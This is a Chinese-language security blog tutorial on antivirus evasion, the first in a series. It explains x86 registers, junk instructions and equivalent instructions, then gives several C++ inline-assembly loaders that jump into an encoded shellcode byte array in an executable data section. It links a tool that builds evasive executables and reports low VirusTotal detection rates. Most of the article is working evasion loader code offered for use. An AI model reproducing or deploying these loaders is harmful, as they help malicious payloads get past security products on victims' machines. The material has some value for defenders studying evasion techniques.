|
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
针对本篇及后续文章中用到的部分技术,我已经写好了相关代码,用于快速生成免杀的可执行程序,源代码放在了(github)[https://github.com/1y0n/AV_Evasion_Tool]上,也可以直接下载编译好的(程序)[https://github.com/1y0n/AV_Evasion_Tool/releases]
工具界面如下:
效果如下:
学习免杀,汇编是一个永远绕不开的话题。这一章节,我们将学习汇编一些常见的指令,通过这些指令执行我们的 shellcode 可以取得很好的免杀效果。当然,我们学习的仅是汇编中比较基础的部分,更多的内容需要自己不断地学习研究。
No.1
基础知识
寄存器
通用寄存器可用于传送和暂存数据,也可参与算术逻辑运算,并保存运算结果。32位通用寄存器有 8 个:
常见操作码
花指令
花指令指一些没有实际意义的指令,执行或不执行它们对最后的结果不会带来影响,但可以增加反汇编分析的难度,甚至会干扰反汇编程序的正常工作。简单的花指令如寄存器加 1 后再减 1 等等。
这里仅仅介绍了花指令的概念,但是在这个章节中并不会用到。对于内联汇编执行 shellcode ,经过多次测试,我的建议是:如无必要,勿增实体。
等效指令
MOV EAX, offset shellcode
此指令意为将 shellcode 放入到寄存器 EAX 中,其等效指令为:
- push offset shellcode
- pop eax
复制代码 JMP EAX
无条件跳转到EAX。其等效指令为:
CALL label
调用函数 label 。其等效指令为:
- push label_after_call_instruction
- push label
- ref
复制代码 PUSH op
op 入栈。等效指令为:
- sub esp, 4(或者8)
- mov [esp], op
复制代码 No.2
实现
首先来看 mov + jmp 的实现:
- //data段可读写
- # pragma comment(linker, "/section:.data,RWE")
- //不显示窗口 # pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")
- # pragma comment(linker, "/INCREMENTAL:NO")
- unsigned char shellcode[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";
- // 无论使用 mov 还是 lea ,shellcode必须为全局变量。
- void main(){
- __asm
- {
- mov eax, offset shellcode
- //或将上面一行替换成
- //lea eax, shellcode
- jmp eax
- }
- }
复制代码 分开写也是可以的:
- void main(){
- _asm mov eax, offset shellcode
- _asm jmp eax
- }
复制代码 替换 jmp eax 为直接的指令也是可以的:
- void main(){
- _asm mov eax, offset shellcode
- _asm _emit 0xff
- _asm _emit 0xe0
- }
复制代码 前面提到了很多等效指令,也可以灵活使用等效指令替换:
- void main(){
- _asm
- {
- //mov eax, offset shellcode
- push offset shellcode
- pop eax//jmp eax
- push eax
- ret
- }
- }
复制代码 根据我的测试,C++ 内联汇编,不考虑 shellcode 影响,无反沙盒代码,在 Virustotal 成绩在 1-5之间(总共71)。比较难搞的是 Cylance,它的规则感觉就是,只要用了内联汇编,必告警,哪怕内联汇编执行 nop 都不行。
|
|